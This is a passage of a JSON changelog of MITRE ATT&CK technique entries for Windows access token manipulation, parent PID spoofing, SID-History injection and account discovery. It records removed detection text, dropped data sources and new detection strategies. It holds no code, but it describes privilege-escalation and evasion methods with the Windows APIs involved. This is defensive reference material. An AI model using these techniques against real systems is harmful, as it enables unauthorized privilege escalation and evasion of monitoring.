"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"User Account: User Account Metadata\", \"Process: Process Metadata\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.051000+00:00\", \"old_value\": \"2025-04-16 20:37:21.869000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n\\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n\\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n\\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \\n-\\n-There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\\n-\\n-Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\\n-\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Metadata)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0017: Command (Command Execution)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0283: Behavior-chain detection for T1134 Access Token Manipulation on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-18 16:48:56.582000+00:00",
"modified": "2025-10-24 17:48:53.370000+00:00",
"name": "Create Process with Token",
"description": "Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.\n\nWhile this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/002",
"external_id": "T1134.002"
},
{
"source_name": "Microsoft Command-line Logging",
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"source_name": "Microsoft RunAs",
"description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vadim Khrykov",
"Jonny Johnson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.370000+00:00\", \"old_value\": \"2025-04-16 20:37:17.537000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0456: Behavior-chain detection for T1134.002 Create Process with Token (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-18 18:03:37.481000+00:00",
"modified": "2025-10-24 17:49:05.200000+00:00",
"name": "Make and Impersonate Token",
"description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/003",
"external_id": "T1134.003"
},
{
"source_name": "Microsoft Command-line Logging",
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"source_name": "LogonUserW function",
"description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jonny Johnson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.200000+00:00\", \"old_value\": \"2025-04-15 19:58:49.948000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n-\\n-Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0498: Behavior\u2011chain detection for T1134.003 Make and Impersonate Token (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-18 18:22:41.448000+00:00",
"modified": "2025-10-24 17:49:06.759000+00:00",
"name": "Parent PID Spoofing",
"description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/004",
"external_id": "T1134.004"
},
{
"source_name": "XPNSec PPID Nov 2017",
"description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
"url": "https://blog.xpnsec.com/becoming-system/"
},
{
"source_name": "CounterCept PPID Spoofing Dec 2018",
"description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
"url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
},
{
"source_name": "Microsoft UAC Nov 2018",
"description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
"url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
},
{
"source_name": "Microsoft Process Creation Flags May 2018",
"description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
"url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
},
{
"source_name": "Secuirtyinbits Ataware3 May 2019",
"description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
"url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
},
{
"source_name": "DidierStevens SelectMyParent Nov 2009",
"description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
"url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
},
{
"source_name": "CTD PPID Spoofing Macro Mar 2019",
"description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
"url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Wayne Silva, F-Secure Countercept"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.759000+00:00\", \"old_value\": \"2025-04-16 20:37:18.203000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n\\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n-\\n-Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0489: Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-18 18:34:49.414000+00:00",
"modified": "2025-10-24 17:49:16.316000+00:00",
"name": "SID-History Injection",
"description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/005",
"external_id": "T1134.005"
},
{
"source_name": "Microsoft SID",
"description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
},
{
"source_name": "Microsoft SID-History Attribute",
"description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
"url": "https://msdn.microsoft.com/library/ms679833.aspx"
},
{
"source_name": "Microsoft Well Known SIDs Jun 2017",
"description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
"url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
},
{
"source_name": "Microsoft Get-ADUser",
"description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
"url": "https://technet.microsoft.com/library/ee617241.aspx"
},
{
"source_name": "AdSecurity SID History Sept 2015",
"description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
"url": "https://adsecurity.org/?p=1772"
},
{
"source_name": "Microsoft DsAddSidHistory",
"description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
"url": "https://msdn.microsoft.com/library/ms677982.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Alain Homewood, Insomnia Security",
"Vincent Le Toux"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Process: OS API Execution\", \"User Account: User Account Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.316000+00:00\", \"old_value\": \"2025-04-25 14:47:45.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n\\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n-\\n-Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Metadata)",
"DS0009: Process (OS API Execution)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0136: Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-18 16:39:06.289000+00:00",
"modified": "2025-10-24 17:49:04.117000+00:00",
"name": "Token Impersonation/Theft",
"description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/001",
"external_id": "T1134.001"
},
{
"source_name": "Microsoft Command-line Logging",
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"source_name": "DuplicateToken function",
"description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jonny Johnson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.117000+00:00\", \"old_value\": \"2025-04-15 19:58:48.792000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0482: Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:06.988000+00:00",
"modified": "2025-10-24 17:48:57.239000+00:00",
"name": "Account Discovery",
"description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087",
"external_id": "T1087"
},
{
"source_name": "AWS List Users",
"description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
},
{
"source_name": "Google Cloud - IAM Servie Accounts List API",
"description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
},
{
